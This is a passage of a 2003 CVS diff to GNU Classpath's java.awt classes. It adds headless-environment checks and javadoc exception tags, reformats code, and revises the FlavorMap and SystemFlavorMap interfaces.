AccessibleAWTContainer extends AccessibleAWTComponent @@ -1234,14 +1286,14 @@ public int getAccessibleChildrenCount() { synchronized (getTreeLock ()) - { - int count = 0; - int i = component == null ? 0 : component.length; - while (--i >= 0) - if (component[i] instanceof Accessible) - count++; - return count; - } + { + int count = 0; + int i = component == null ? 0 : component.length; + while (--i >= 0) + if (component[i] instanceof Accessible) + count++; + return count; + } } /** @@ -1253,17 +1305,17 @@ public Accessible getAccessibleChild(int i) { synchronized (getTreeLock ()) - { - if (component == null) - return null; - int index = -1; - while (i >= 0 && ++index < component.length) - if (component[index] instanceof Accessible) - i--; - if (i < 0) - return (Accessible) component[index]; - return null; - } + { + if (component == null) + return null; + int index = -1; + while (i >= 0 && ++index < component.length) + if (component[index] instanceof Accessible) + i--; + if (i < 0) + return (Accessible) component[index]; + return null; + } } /** @@ -1271,7 +1323,9 @@ * coordinates), if one exists. * * @param p the point to look at + * * @return an accessible object at that point, or null + * * @throws NullPointerException if p is null */ public Accessible getAccessibleAt(Point p) @@ -1286,6 +1340,7 @@ * when children are added or removed from the enclosing accessible object. * * @author Eric Blake + * * @since 1.3 */ protected class AccessibleContainerHandler implements ContainerListener @@ -1324,7 +1379,6 @@ } // class AccessibleAWTPanel } // class Container - /** * Undocumented helper class. * STUBBED @@ -1339,39 +1393,50 @@ private transient boolean isMouseInNativeContainer; private Cursor nativeCursor; private long eventMask; + LightweightDispatcher(Container c) { } + void dispose() { } + void enableEvents(long l) { } + boolean dispatchEvent(AWTEvent e) { return true; } + boolean isMouseGrab(MouseEvent e) { return true; } + boolean processMouseEvent(MouseEvent e) { return true; } + void trackMouseEnterExit(Component c, MouseEvent e) { } + void startListeningForOtherDrags() { } + void stopListeningForOtherDrags() { } + public void eventDispatched(AWTEvent e) { } + void retargetMouseEvent(Component c, int i, MouseEvent e) { } Index: java/awt/Cursor.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Cursor.java,v retrieving revision 1.6 diff -u -r1.6 Cursor.java --- java/awt/Cursor.java 10 Nov 2002 00:16:42 -0000 1.6 +++ java/awt/Cursor.java 2 Jan 2003 00:10:47 -0000 @@ -133,11 +133,14 @@ * type. * * @param type The cursor type. + * + * @exception IllegalArgumentException If the specified cursor type is invalid */ public Cursor(int type) { if (type < 0 || type >= PREDEFINED_COUNT) throw new IllegalArgumentException ("invalid cursor " + type); + this.type = type; // FIXME: lookup and set name? } @@ -171,9 +174,20 @@ return predefined[type]; } + /** + * Retrieves the system specific custom Cursor named Cursor names are, + * for example: "Invalid.16x16". + * + * @exception AWTException + * @exception HeadlessException If GraphicsEnvironment.isHeadless() + * returns true. + */ public static Cursor getSystemCustomCursor(String name) throws AWTException { + if (GraphicsEnvironment.isHeadless()) + throw new HeadlessException (); + // FIXME return null; } Index: java/awt/EventQueue.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/EventQueue.java,v retrieving revision 1.7 diff -u -r1.7 EventQueue.java --- java/awt/EventQueue.java 9 Aug 2002 04:26:14 -0000 1.7 +++ java/awt/EventQueue.java 2 Jan 2003 00:10:47 -0000 @@ -151,6 +151,8 @@ * Posts a new event to the queue. * * @param event The event to post to the queue. + * + * @exception NullPointerException If event is null. */ public synchronized void postEvent(AWTEvent evt) { @@ -209,7 +211,19 @@ notify(); } - /** @since JDK1.2 */ + /** + * Causes runnable to have its run method called in the dispatch thread of the + * EventQueue. This will happen after all pending events are processed. The + * call blocks until this has happened. This method will throw an Error if + * called from the event dispatcher thread. + * + * @exception InterruptedException If another thread has interrupted + * this thread. + * @exception InvocationTargetException If an exception is thrown when running + * runnable. + * + * @since 1.2 + */ public static void invokeAndWait(Runnable runnable) throws InterruptedException, InvocationTargetException { @@ -254,6 +268,8 @@ * All pending events are transferred to the new queue. Calls to postEvent, * getNextEvent, and peekEvent are forwarded to the pushed queue until it * is removed with a pop(). + * + * @exception NullPointerException if newEventQueue is null. */ public synchronized void push(EventQueue newEventQueue) { @@ -271,7 +287,11 @@ } /** Transfer any pending events from this queue back to the parent queue that - * was previously push()ed. Event dispatch from this queue is suspended. */ + * was previously push()ed. Event dispatch from this queue is suspended. + * + * @exception EmptyStackException If no previous push was made on this + * EventQueue. + */ protected void pop() throws EmptyStackException { if (prev == null) @@ -297,6 +317,12 @@ } } + /** + * Dispatches an event. The manner in which the event is dispatched depends + * upon the type of the event and the type of the event's source object. + * + * @exception NullPointerException If event is null. + */ protected void dispatchEvent(AWTEvent evt) { if (evt instanceof ActiveEvent) Index: java/awt/FileDialog.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/FileDialog.java,v retrieving revision 1.4 diff -u -r1.4 FileDialog.java --- java/awt/FileDialog.java 22 Jan 2002 22:58:08 -0000 1.4 +++ java/awt/FileDialog.java 2 Jan 2003 00:10:47 -0000 @@ -142,16 +142,15 @@ * @param title The title for this dialog. * @param mode The mode of the dialog, either LOAD or * SAVE. + * + * @exception IllegalArgumentException If an illegal file dialog mode + * is supplied. */ public FileDialog(Frame parent, String title, int mode) { super(parent, title, true); - - if ((mode != LOAD) && (mode != SAVE)) - throw new IllegalArgumentException("Bad mode: " + mode); - - this.mode = mode; + setMode (mode); } /*************************************************************************/ @@ -180,6 +179,9 @@ * peer is created. * * @param mode The new mode of this file dialog. + * + * @exception IllegalArgumentException If an illegal file dialog mode + * is supplied. */ public void setMode(int mode) Index: java/awt/Graphics2D.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Graphics2D.java,v retrieving revision 1.5 diff -u -r1.5 Graphics2D.java --- java/awt/Graphics2D.java 9 Aug 2002 05:52:52 -0000 1.5 +++ java/awt/Graphics2D.java 2 Jan 2003 00:10:48 -0000 @@ -38,6 +38,7 @@ import java.awt.geom.AffineTransform; import java.awt.image.BufferedImage; +import java.awt.image.BufferedImageOp; import java.awt.image.RenderedImage; import java.awt.image.ImageObserver; import java.awt.image.renderable.RenderableImage; @@ -74,7 +75,7 @@ ImageObserver obs); public abstract void drawImage(BufferedImage image, - BufferedImage op, + BufferedImageOp op, int x, int y); Index: java/awt/Label.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Label.java,v retrieving revision 1.8 diff -u -r1.8 Label.java --- java/awt/Label.java 22 Jan 2002 22:40:05 -0000 1.8 +++ java/awt/Label.java 2 Jan 2003 00:10:48 -0000 @@ -99,6 +99,8 @@ /** * Initializes a new instance of Label with no text. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public Label() @@ -113,6 +115,8 @@ * text that is aligned to the left. * * @param text The text of the label. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public Label(String text) @@ -130,12 +134,17 @@ * @param alignment The desired alignment for the text in this label, * which must be one of LEFT, CENTER, or * RIGHT. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public Label(String text, int alignment) { setAlignment (alignment); setText (text); + + if (GraphicsEnvironment.isHeadless()) + throw new HeadlessException (); } /*************************************************************************/ Index: java/awt/Menu.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Menu.java,v retrieving revision 1.9 diff -u -r1.9 Menu.java --- java/awt/Menu.java 22 Jan 2002 22:58:08 -0000 1.9 +++ java/awt/Menu.java 2 Jan 2003 00:10:48 -0000 @@ -95,6 +95,8 @@ /** * Initializes a new instance of Menu with no label and that * is not a tearoff; + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public Menu() @@ -108,6 +110,8 @@ * that has the specified label. * * @param label The menu label. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public Menu(String label) @@ -124,6 +128,8 @@ * @param label The label for this menu * @param isTearOff true if this menu is a tear off menu, * false otherwise. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public Menu(String label, boolean isTearOff) @@ -134,6 +140,9 @@ if (label.equals("Help")) isHelpMenu = true; + + if (GraphicsEnvironment.isHeadless()) + throw new HeadlessException (); } /*************************************************************************/ Index: java/awt/MenuBar.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/MenuBar.java,v retrieving revision 1.9 diff -u -r1.9 MenuBar.java --- java/awt/MenuBar.java 22 Jan 2002 22:58:08 -0000 1.9 +++ java/awt/MenuBar.java 2 Jan 2003 00:10:48 -0000 @@ -86,10 +86,14 @@ /** * Initializes a new instance of MenuBar. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public MenuBar() { + if (GraphicsEnvironment.isHeadless()) + throw new HeadlessException (); } /*************************************************************************/ Index: java/awt/MenuComponent.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/MenuComponent.java,v retrieving revision 1.8 diff -u -r1.8 MenuComponent.java --- java/awt/MenuComponent.java 22 Jan 2002 22:40:05 -0000 1.8 +++ java/awt/MenuComponent.java 2 Jan 2003 00:10:48 -0000 @@ -92,10 +92,14 @@ /** * Default constructor for subclasses. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected MenuComponent() { + if (GraphicsEnvironment.isHeadless()) + throw new HeadlessException (); } /*************************************************************************/ Index: java/awt/PopupMenu.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/PopupMenu.java,v retrieving revision 1.4 diff -u -r1.4 PopupMenu.java --- java/awt/PopupMenu.java 22 Jan 2002 22:58:08 -0000 1.4 +++ java/awt/PopupMenu.java 2 Jan 2003 00:10:48 -0000 @@ -65,6 +65,9 @@ /** * Initializes a new instance of PopupMenu. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() + * returns true. */ public PopupMenu() @@ -78,11 +81,17 @@ * label. * * @param label The label for this popup menu. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() + * returns true. */ public PopupMenu(String label) { super(label); + + if (GraphicsEnvironment.isHeadless()) + throw new HeadlessException (); } /*************************************************************************/ Index: java/awt/ScrollPane.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/ScrollPane.java,v retrieving revision 1.5 diff -u -r1.5 ScrollPane.java --- java/awt/ScrollPane.java 9 Nov 2002 23:42:01 -0000 1.5 +++ java/awt/ScrollPane.java 2 Jan 2003 00:10:48 -0000 @@ -113,6 +113,8 @@ /** * Initializes a new instance of ScrollPane with a default * scrollbar policy of SCROLLBARS_AS_NEEDED. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public ScrollPane() @@ -128,10 +130,15 @@ * * @param scrollbarDisplayPolicy When to display scrollbars, which must * be one of the constants defined in this class. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public ScrollPane(int scrollbarDisplayPolicy) { + if (GraphicsEnvironment.isHeadless ()) + throw new HeadlessException (); + this.scrollbarDisplayPolicy = scrollbarDisplayPolicy; if (scrollbarDisplayPolicy != SCROLLBARS_ALWAYS Index: java/awt/Scrollbar.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Scrollbar.java,v retrieving revision 1.8 diff -u -r1.8 Scrollbar.java --- java/awt/Scrollbar.java 24 Mar 2002 22:37:51 -0000 1.8 +++ java/awt/Scrollbar.java 2 Jan 2003 00:10:49 -0000 @@ -1,5 +1,5 @@ /* Scrollbar.java -- AWT Scrollbar widget - Copyright (C) 1999, 2000, 2001, 2002 Free Software Foundation, Inc. + Copyright (C) 1999, 2000, 2001, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -40,7 +40,6 @@ import java.awt.peer.ScrollbarPeer; import java.awt.peer.ComponentPeer; - import java.awt.event.AdjustmentListener; import java.awt.event.AdjustmentEvent; @@ -126,7 +125,9 @@ /** * Initializes a new instance of Scrollbar with a - * veritical orientation and default values for all other parameters. + * vertical orientation and default values for all other parameters. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true, */ public Scrollbar() @@ -145,6 +146,7 @@ * * @param orientation The orientation of this scrollbar. * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true, * @exception IllegalArgumentException If the orientation value is not valid. */ public @@ -168,12 +170,16 @@ * @param minimum The minimum value of the scrollbar. * @param maximum The maximum value of the scrollbar. * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true, * @exception IllegalArgumentException If the orientation value is not valid. */ public Scrollbar(int orientation, int value, int visibleAmount, int minimum, int maximum) throws IllegalArgumentException { + if (GraphicsEnvironment.isHeadless()) + throw new HeadlessException (); + if ((orientation != HORIZONTAL) && (orientation != VERTICAL)) throw new IllegalArgumentException("Bad orientation value: " + orientation); Index: java/awt/TextArea.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/TextArea.java,v retrieving revision 1.4 diff -u -r1.4 TextArea.java --- java/awt/TextArea.java 23 Jan 2002 00:07:39 -0000 1.4 +++ java/awt/TextArea.java 2 Jan 2003 00:10:49 -0000 @@ -109,6 +109,8 @@ * Initialize a new instance of TextArea that is empty * and is one row and one column. Both horizontal and vertical * scrollbars will be used. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true, */ public TextArea() @@ -124,6 +126,8 @@ * scrollbars will be used. * * @param text The text to display in this text area. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true, */ public TextArea(String text) @@ -140,6 +144,8 @@ * * @param rows The number of rows in this text area. * @param columns The number of columns in this text area. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true, */ public TextArea(int rows, int columns) @@ -156,6 +162,8 @@ * @param text The text to display in this text area. * @param rows The number of rows in this text area. * @param columns The number of columns in this text area. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true, */ public TextArea(String text, int rows, int columns) @@ -174,11 +182,16 @@ * @param rows The number of rows in this text area. * @param columns The number of columns in this text area. * @param scrollbarVisibility Which scrollbars to display. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true, */ public TextArea(String text, int rows, int columns, int scrollbarVisibility) { super(text); + + if (GraphicsEnvironment.isHeadless()) + throw new HeadlessException (); if ((rows < 1) || (columns < 0)) throw new IllegalArgumentException("Bad row or column value"); Index: java/awt/TextField.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/TextField.java,v retrieving revision 1.3 diff -u -r1.3 TextField.java --- java/awt/TextField.java 24 Mar 2002 22:37:51 -0000 1.3 +++ java/awt/TextField.java 2 Jan 2003 00:10:49 -0000 @@ -84,9 +84,11 @@ * Constructors */ -/* +/** * Initializes a new instance of TextField that is empty * and has one column. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true, */ public TextField() @@ -102,6 +104,8 @@ * length of the text string. * * @param text The text to display in the field. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true, */ public TextField(String text) @@ -116,6 +120,8 @@ * and has the specified number of columns. * * @param columns The number of columns in the text field. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true, */ public TextField(int columns) @@ -131,12 +137,17 @@ * * @param text The text to display in the field. * @param columns The number of columns in the field. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true, */ public TextField(String text, int columns) { super(text); this.columns = columns; + + if (GraphicsEnvironment.isHeadless()) + throw new HeadlessException (); } /*************************************************************************/ Index: java/awt/color/CMMException.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/color/CMMException.java,v retrieving revision 1.1 diff -u -r1.1 CMMException.java --- java/awt/color/CMMException.java 9 Aug 2002 04:26:14 -0000 1.1 +++ java/awt/color/CMMException.java 2 Jan 2003 00:10:49 -0000 @@ -44,7 +44,7 @@ * @author Eric Blake * @status updated to 1.4 */ -public class CMMException extends Exception +public class CMMException extends RuntimeException { /** * Compatible with JDK 1.2+. Index: java/awt/color/ColorSpace.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/color/ColorSpace.java,v retrieving revision 1.5 diff -u -r1.5 ColorSpace.java --- java/awt/color/ColorSpace.java 10 Nov 2002 00:16:42 -0000 1.5 +++ java/awt/color/ColorSpace.java 2 Jan 2003 00:10:49 -0000 @@ -46,7 +46,7 @@ * @author Rolf W. Rasmussen * @since 1.2 */ -public abstract class ColorSpace +public abstract class ColorSpace implements Serializable { /** * Compatible with JDK 1.2+. Index: java/awt/color/ICC_Profile.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/color/ICC_Profile.java,v retrieving revision 1.7 diff -u -r1.7 ICC_Profile.java --- java/awt/color/ICC_Profile.java 10 Nov 2002 00:16:42 -0000 1.7 +++ java/awt/color/ICC_Profile.java 2 Jan 2003 00:10:49 -0000 @@ -245,7 +245,7 @@ write(new FileOutputStream(filename)); } - public void write(OutputStream out) + public void write(OutputStream out) throws IOException { throw new Error("not implemented"); } Index: java/awt/color/ProfileDataException.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/color/ProfileDataException.java,v retrieving revision 1.1 diff -u -r1.1 ProfileDataException.java --- java/awt/color/ProfileDataException.java 9 Aug 2002 04:26:14 -0000 1.1 +++ java/awt/color/ProfileDataException.java 2 Jan 2003 00:10:49 -0000 @@ -45,7 +45,7 @@ * @author Eric Blake * @status updated to 1.4 */ -public class ProfileDataException extends Exception +public class ProfileDataException extends RuntimeException { /** * Compatible with JDK 1.2+. Index: java/awt/datatransfer/Clipboard.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/datatransfer/Clipboard.java,v retrieving revision 1.2 diff -u -r1.2 Clipboard.java --- java/awt/datatransfer/Clipboard.java 24 Jan 2002 06:31:02 -0000 1.2 +++ java/awt/datatransfer/Clipboard.java 2 Jan 2003 00:10:49 -0000 @@ -103,6 +103,8 @@ * Returns the contents of the clipboard. * * @param requestor The object requesting the contents. + * + * @exception IllegalStateException If the clipboard is currently unavailable */ public synchronized Transferable getContents(Object requestor) @@ -120,6 +122,8 @@ * * @param contents The new clipboard contents. * @param owner The new clipboard owner + * + * @exception IllegalStateException If the clipboard is currently unavailable */ public synchronized void setContents(Transferable contents, ClipboardOwner owner) Index: java/awt/datatransfer/DataFlavor.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/datatransfer/DataFlavor.java,v retrieving revision 1.3 diff -u -r1.3 DataFlavor.java --- java/awt/datatransfer/DataFlavor.java 10 Nov 2002 00:16:43 -0000 1.3 +++ java/awt/datatransfer/DataFlavor.java 2 Jan 2003 00:10:50 -0000 @@ -281,6 +281,7 @@ * * @exception IllegalArgumentException If the representation class * specified cannot be loaded. + * @exception ClassNotFoundException If the class is not loaded. */ public DataFlavor(String mimeType, String humanPresentableName, @@ -504,6 +505,8 @@ * * @return true if the MIME type is equal to this object's * MIME type, false otherwise. + * + * @exception NullPointerException If mimeType is null. */ public final boolean isMimeTypeEqual(String mimeType) @@ -652,6 +655,10 @@ * Returns a copy of this object. * * @return A copy of this object. + * + * @exception CloneNotSupportedException If the object's class does not support + * the Cloneable interface. Subclasses that override the clone method can also + * throw this exception to indicate that an instance cannot be cloned. */ public Object clone() @@ -813,6 +820,8 @@ * Serialize this class. * * @param stream The ObjectOutput stream to serialize to. + * + * @exception IOException If an error occurs. */ public void writeExternal(ObjectOutput stream) throws IOException @@ -826,6 +835,10 @@ * De-serialize this class. * * @param stream The ObjectInput stream to deserialize from. + * + * @exception IOException If an error ocurs. + * @exception ClassNotFoundException If the class for an object being restored + * cannot be found. */ public void readExternal(ObjectInput stream) throws IOException, ClassNotFoundException @@ -950,6 +963,10 @@ * * @param transferable The Transferable for which a text * Reader is requested. + * + * @exception IllegalArgumentException If the representation class is not one + * of the seven listed above or the Transferable has null data. + * @exception NullPointerException If the Transferable is null. * @exception UnsupportedFlavorException when the transferable doesn't * support this DataFlavor. Or if the representable class * isn't a (subclass of) Reader, String, Index: java/awt/datatransfer/FlavorMap.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/datatransfer/FlavorMap.java,v retrieving revision 1.1 diff -u -r1.1 FlavorMap.java --- java/awt/datatransfer/FlavorMap.java 24 Jan 2002 06:31:02 -0000 1.1 +++ java/awt/datatransfer/FlavorMap.java 2 Jan 2003 00:10:50 -0000 @@ -41,42 +41,35 @@ import java.util.Map; /** - * This interface maps between native platform type names and DataFlavors. - * - * @author Aaron M. Renn (arenn@urbanophile.com) - */ + * This interface maps between native platform type names and DataFlavors. + * + * @author Aaron M. Renn (arenn@urbanophile.com) + */ public interface FlavorMap { + /** + * Maps the specified DataFlavor objects to the native + * data type name. The returned Map has keys that are + * the data flavors and values that are strings. The returned map + * may be modified. This can be useful for implementing nested mappings. + * + * @param flavors An array of data flavors to map + * or null for all data flavors. + * + * @return A Map of native data types. + */ + public abstract Map getNativesForFlavors (DataFlavor[] flavors); -/** - * Maps the specified DataFlavor objects to the native - * data type name. The returned Map has keys that are - * the data flavors and values that are strings. The returned map - * may be modified. This can be useful for implementing nested mappings. - * - * @param flavors An array of data flavors to map - * or null for all data flavors. - * - * @return A Map of native data types. - */ -public abstract Map -getNativesForFlavors(DataFlavor[] flavors); - -/*************************************************************************/ - -/** - * Maps the specified native type names to DataFlavor's. - * The returned Map has keys that are strings and values - * that are DataFlavor's. The returned map may be - * modified. This can be useful for implementing nested mappings. - * - * @param natives An array of native types to map - * or null for all native types. - * - * @return A Map of data flavors. - */ -public abstract Map -getFlavorsForNatives(String[] natives); - -} // interface FlavorMap - + /** + * Maps the specified native type names to DataFlavor's. + * The returned Map has keys that are strings and values + * that are DataFlavor's. The returned map may be + * modified. This can be useful for implementing nested mappings. + * + * @param natives An array of native types to map + * or null for all native types. + * + * @return A Map of data flavors. + */ + public abstract Map getFlavorsForNatives (String[] natives); +} Index: java/awt/datatransfer/SystemFlavorMap.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/datatransfer/SystemFlavorMap.java,v retrieving revision 1.1 diff -u -r1.1 SystemFlavorMap.java --- java/awt/datatransfer/SystemFlavorMap.java 24 Jan 2002 06:31:02 -0000 1.1 +++ java/awt/datatransfer/SystemFlavorMap.java 2 Jan 2003 00:10:50 -0000 @@ -40,6 +40,7 @@ import java.util.HashMap; import java.util.Map; +import java.util.List; /** * This class maps between native platform type names and DataFlavors. @@ -47,134 +48,122 @@ * XXX - The current implementation does no mapping at all. * * @author Mark Wielaard (mark@klomp.org) - */ -public final class SystemFlavorMap implements FlavorMap -{ - -/** - * The default (instance) flavor map. - */ -private static FlavorMap defaultFlavorMap; - -/** - * Private constructor. - */ -private SystemFlavorMap() -{ -} - -/*************************************************************************/ - -/** - * Maps the specified DataFlavor objects to the native - * data type name. The returned Map has keys that are - * the data flavors and values that are strings. The returned map - * may be modified. This can be useful for implementing nested mappings. - * - * @param flavors An array of data flavors to map - * or null for all data flavors. * - * @return A Map of native data types to data flavors. - */ -public Map -getNativesForFlavors(DataFlavor[] flavors) -{ - return(new HashMap()); -} - -/*************************************************************************/ - -/** - * Maps the specified native type names to DataFlavor's. - * The returned Map has keys that are strings and values - * that are DataFlavor's. The returned map may be - * modified. This can be useful for implementing nested mappings. - * - * @param natives An array of native types to map - * or null for all native types. - * - * @return A Map of data flavors to native type names. - */ -public Map -getFlavorsForNatives(String[] natives) -{ - return(new HashMap()); -} - -/*************************************************************************/ - -/** - * Returns the default (instance) (System)FlavorMap. - */ -public static FlavorMap -getDefaultFlavorMap() -{ - if (defaultFlavorMap == null) - defaultFlavorMap = new SystemFlavorMap(); - - return(defaultFlavorMap); -} - -/*************************************************************************/ - -/** - * Returns the native type name for the given java mime type. - */ -public static String -encodeJavaMIMEType(String mime) -{ - return null; -} - -/*************************************************************************/ - -/** - * Returns the native type name for the given data flavor. - */ -public static String -encodeDataFlavor(DataFlavor df) -{ - return null; -} - -/*************************************************************************/ - -/** - * Returns true if the native type name can be represented as - * a java mime type. - */ -public static boolean -isJavaMIMEType(String name) -{ - return(false); -} - -/*************************************************************************/ - -/** - * Returns the java mime type for the given the native type name. + * @since 1.2 */ -public static String -decodeJavaMIMEType(String name) +public final class SystemFlavorMap implements FlavorMap, FlavorTable { - return null; -} - -/*************************************************************************/ - -/** - * Returns the data flavor given the native type name - * or null when no such data flavor exists. - */ -public static DataFlavor -decodeDataFlavor(String name) throws ClassNotFoundException -{ - String javaMIMEType = decodeJavaMIMEType(name); - if (javaMIMEType != null) - return(new DataFlavor(javaMIMEType)); - else - return(null); -} + /** + * The default (instance) flavor map. + */ + private static FlavorMap defaultFlavorMap; + + /** + * Private constructor. + */ + private SystemFlavorMap () + { + } + + /** + * Maps the specified DataFlavor objects to the native + * data type name. The returned Map has keys that are + * the data flavors and values that are strings. The returned map + * may be modified. This can be useful for implementing nested mappings. + * + * @param flavors An array of data flavors to map + * or null for all data flavors. + * + * @return A Map of native data types to data flavors. + */ + public Map getNativesForFlavors (DataFlavor[] flavors) + { + return new HashMap(); + } + + /** + * Maps the specified native type names to DataFlavor's. + * The returned Map has keys that are strings and values + * that are DataFlavor's. The returned map may be + * modified. This can be useful for implementing nested mappings. + * + * @param natives An array of native types to map + * or null for all native types. + * + * @return A Map of data flavors to native type names. + */ + public Map getFlavorsForNatives (String[] natives) + { + return new HashMap(); + } + + /** + * Returns the default (instance) (System)FlavorMap. + */ + public static FlavorMap getDefaultFlavorMap () + { + if (defaultFlavorMap == null) + defaultFlavorMap = new SystemFlavorMap (); + + return defaultFlavorMap; + } + + /** + * Returns the native type name for the given java mime type. + */ + public static String encodeJavaMIMEType (String mime) + { + return null; + } + + /** + * Returns the native type name for the given data flavor. + */ + public static String encodeDataFlavor (DataFlavor df) + { + return null; + } + + /** + * Returns true if the native type name can be represented as + * a java mime type. + */ + public static boolean isJavaMIMEType (String name) + { + return false; + } + + /** + * Returns the java mime type for the given the native type name. + */ + public static String decodeJavaMIMEType (String name) + { + return null; + } + + /** + * Returns the data flavor given the native type name + * or null when no such data flavor exists. + */ + public static DataFlavor decodeDataFlavor (String name) + throws ClassNotFoundException + { + String javaMIMEType = decodeJavaMIMEType (name); + + if (javaMIMEType != null) + return new DataFlavor (javaMIMEType); + else + return null; + } + + public List getFlavorsForNative (String nat) + { + throw new Error ("Not implemented"); + } + + public List getNativesForFlavor (DataFlavor flav) + { + throw new Error ("Not implemented"); + } } // class SystemFlavorMap - Index: java/awt/dnd/DragGestureEvent.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/DragGestureEvent.java,v retrieving revision 1.1 diff -u -r1.1 DragGestureEvent.java --- java/awt/dnd/DragGestureEvent.java 9 Aug 2002 04:26:15 -0000 1.1 +++ java/awt/dnd/DragGestureEvent.java 2 Jan 2003 00:10:50 -0000 @@ -113,15 +113,42 @@ { return null; } + + /** + * Starts the drag given the initial Cursor to display, the Transferable + * object, and the DragSourceListener to use. + * + * @exception InvalidDnDOperationException If the Drag and Drop system is + * unable to initiate a drag operation, or if the user attempts to start + * a drag while an existing drag operation is still executing. + */ public void startDrag(Cursor dragCursor, Transferable trans) { startDrag(dragCursor, null, null, trans, null); } + + /** + * Starts the drag given the initial Cursor to display, the Transferable + * object, and the DragSourceListener to use. + * + * @exception InvalidDnDOperationException If the Drag and Drop system is + * unable to initiate a drag operation, or if the user attempts to start + * a drag while an existing drag operation is still executing. + */ public void startDrag(Cursor dragCursor, Transferable trans, DragSourceListener l) { startDrag(dragCursor, null, null, trans, l); } + + /** + * Starts the drag given the initial Cursor to display, the Transferable + * object, and the DragSourceListener to use. + * + * @exception InvalidDnDOperationException If the Drag and Drop system is + * unable to initiate a drag operation, or if the user attempts to start + * a drag while an existing drag operation is still executing. + */ public void startDrag(Cursor dragCursor, Image dragImage, Point imageOffset, Transferable trans, DragSourceListener l) { Index: java/awt/dnd/DragGestureRecognizer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/DragGestureRecognizer.java,v retrieving revision 1.1 diff -u -r1.1 DragGestureRecognizer.java --- java/awt/dnd/DragGestureRecognizer.java 9 Aug 2002 04:26:15 -0000 1.1 +++ java/awt/dnd/DragGestureRecognizer.java 2 Jan 2003 00:10:50 -0000 @@ -130,6 +130,12 @@ throw new Error("not implemented"); } + /** + * Register a new DragGestureListener. + * + * @exception TooManyListenersException If a DragGestureListener has already + * been added. + */ public void addDragGestureListener(DragGestureListener dgl) throws TooManyListenersException { Index: java/awt/dnd/DragSource.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/DragSource.java,v retrieving revision 1.1 diff -u -r1.1 DragSource.java --- java/awt/dnd/DragSource.java 9 Aug 2002 04:26:15 -0000 1.1 +++ java/awt/dnd/DragSource.java 2 Jan 2003 00:10:50 -0000 @@ -40,6 +40,8 @@ import java.awt.Component; import java.awt.Cursor; +import java.awt.GraphicsEnvironment; +import java.awt.HeadlessException; import java.awt.Image; import java.awt.Point; import java.awt.datatransfer.FlavorMap; @@ -62,10 +64,20 @@ public static final Cursor DefaultMoveNoDrop = null; public static final Cursor DefaultLinkNoDrop = null; + /** + * Initializes the drag source. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. + */ public DragSource() { + if (GraphicsEnvironment.isHeadless()) + throw new HeadlessException (); } + /** + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. + */ public static DragSource getDefaultDragSource() { return null; @@ -76,6 +88,13 @@ return false; } + /** + * Start a drag, given the DragGestureEvent that initiated the drag. + * + * @exception InvalidDnDOperationException If the Drag and Drop system is + * unable to initiate a drag operation, or if the user attempts to start + * a drag while an existing drag operation is still executing. + */ public void startDrag(DragGestureEvent trigger, Cursor dragCursor, Image dragImage, Point imageOffset, Transferable trans, DragSourceListener dsl, @@ -83,6 +102,13 @@ { } + /** + * Start a drag, given the DragGestureEvent that initiated the drag. + * + * @exception InvalidDnDOperationException If the Drag and Drop system is + * unable to initiate a drag operation, or if the user attempts to start + * a drag while an existing drag operation is still executing. + */ public void startDrag(DragGestureEvent trigger, Cursor dragCursor, Transferable trans, DragSourceListener dsl, FlavorMap map) @@ -90,6 +116,13 